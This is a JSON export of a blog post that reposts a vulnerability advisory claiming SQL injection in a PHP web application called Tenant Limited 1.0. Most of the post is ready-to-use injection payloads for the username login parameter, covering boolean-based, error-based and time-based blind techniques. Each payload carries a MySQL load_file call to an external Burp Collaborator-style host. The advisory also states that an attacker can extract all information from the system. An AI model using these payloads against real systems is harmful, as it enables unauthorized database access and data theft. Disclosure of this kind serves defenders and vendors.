{"id":56938,"date":"2024-05-20T19:40:09","date_gmt":"2024-05-20T15:40:09","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178634\/tenantlimited10-sql.txt"},"modified":"2024-05-20T19:40:09","modified_gmt":"2024-05-20T15:40:09","slug":"tenant-limited-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/tenant-limited-1-0-sql-injection\/","title":{"rendered":"Tenant Limited 1.0 SQL Injection"},"content":{"rendered":"<p>## Titles: TENANT-LIMITED-1.0 SQLi<br \/>## Author: nu11secur1ty<br \/>## Date: 05\/20\/2024<br \/>## Vendor: https:\/\/mayurik.com\/<br \/>## Software:<br \/>https:\/\/www.sourcecodester.com\/php\/17375\/best-courier-management-system-project-php.html<br \/>## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n<p>## Description:<br \/>The username parameter appears to be vulnerable to SQL injection attacks.<br \/>The payload &#8216;+(select load_file(&#8216;\\\\\\\\<br \/>h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\\\lmh&#8217;))+&#8217; was submitted<br \/>in the username parameter. This payload injects a SQL sub-query that calls<br \/>MySQL&#8217;s load_file function with a UNC file path that references a URL on an<br \/>external domain. The application interacted with that domain, indicating<br \/>that the injected SQL query was executed. The attacker can get all<br \/>information from the system by using this vulnerability!<\/p>\n<p>STATUS: HIGH- Vulnerability<\/p>\n[+]Exploits:<br \/>&#8211; SQLi Multiple:<br \/>&#8220;`mysql<br \/>&#8212;<br \/>Parameter: username (POST)<br \/>Type: boolean-based blind<br \/>Title: OR boolean-based blind &#8211; WHERE or HAVING clause (NOT)<br \/>Payload: username=nlWcgulD&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\\\lmh&#8217;))+&#8221; OR NOT<br \/>7856=7856 OR &#8216;qylg&#8217;=&#8217;WmKA&amp;password=q7L!w3j!P7<\/p>\n<p>Type: error-based<br \/>Title: MySQL &gt;= 5.0 AND error-based &#8211; WHERE, HAVING, ORDER BY or GROUP<br \/>BY clause (FLOOR)<br \/>Payload: username=nlWcgulD&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\\\lmh&#8217;))+&#8221; AND (SELECT<br \/>5737 FROM(SELECT COUNT(*),CONCAT(0x716a767071,(SELECT<br \/>(ELT(5737=5737,1))),0x7171786b71,FLOOR(RAND(0)*2))x FROM<br \/>INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR &#8216;bruW&#8217;=&#8217;pbdw&amp;password=q7L!w3j!P7<\/p>\n<p>Type: time-based blind<br \/>Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>Payload: username=nlWcgulD&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\\\lmh&#8217;))+&#8221; AND (SELECT<br \/>4762 FROM (SELECT(SLEEP(7)))iyAW) OR &#8216;ryQj&#8217;=&#8217;epQU&amp;password=q7L!w3j!P7<br \/>&#8212;<br \/>&#8220;`<\/p>\n<p>## Reproduce:<br \/>[href](https:\/\/www.patreon.com\/posts\/tenant-limited-1-104585030)<\/p>\n<p>## Proof and Exploit:<br \/>[href](https:\/\/www.nu11secur1ty.com\/2024\/05\/tenant-limited-10-sqli.html)<\/p>\n<p>## Time spent:<br \/>00:39:00<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Titles: TENANT-LIMITED-1.0 SQLi## Author: nu11secur1ty## Date: 05\/20\/2024## Vendor: https:\/\/mayurik.com\/## Software:https:\/\/www.sourcecodester.com\/php\/17375\/best-courier-management-system-project-php.html## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description:The username parameter appears to be vulnerable to SQL injection attacks.The payload &#8216;+(select load_file(&#8216;\\\\\\\\h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\\\lmh&#8217;))+&#8217; was submittedin the username parameter. This payload injects a SQL sub-query that callsMySQL&#8217;s load_file function with a UNC file path that references a URL on anexternal domain. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56938","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56938","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56938"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56938\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56938"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56938"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56938"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}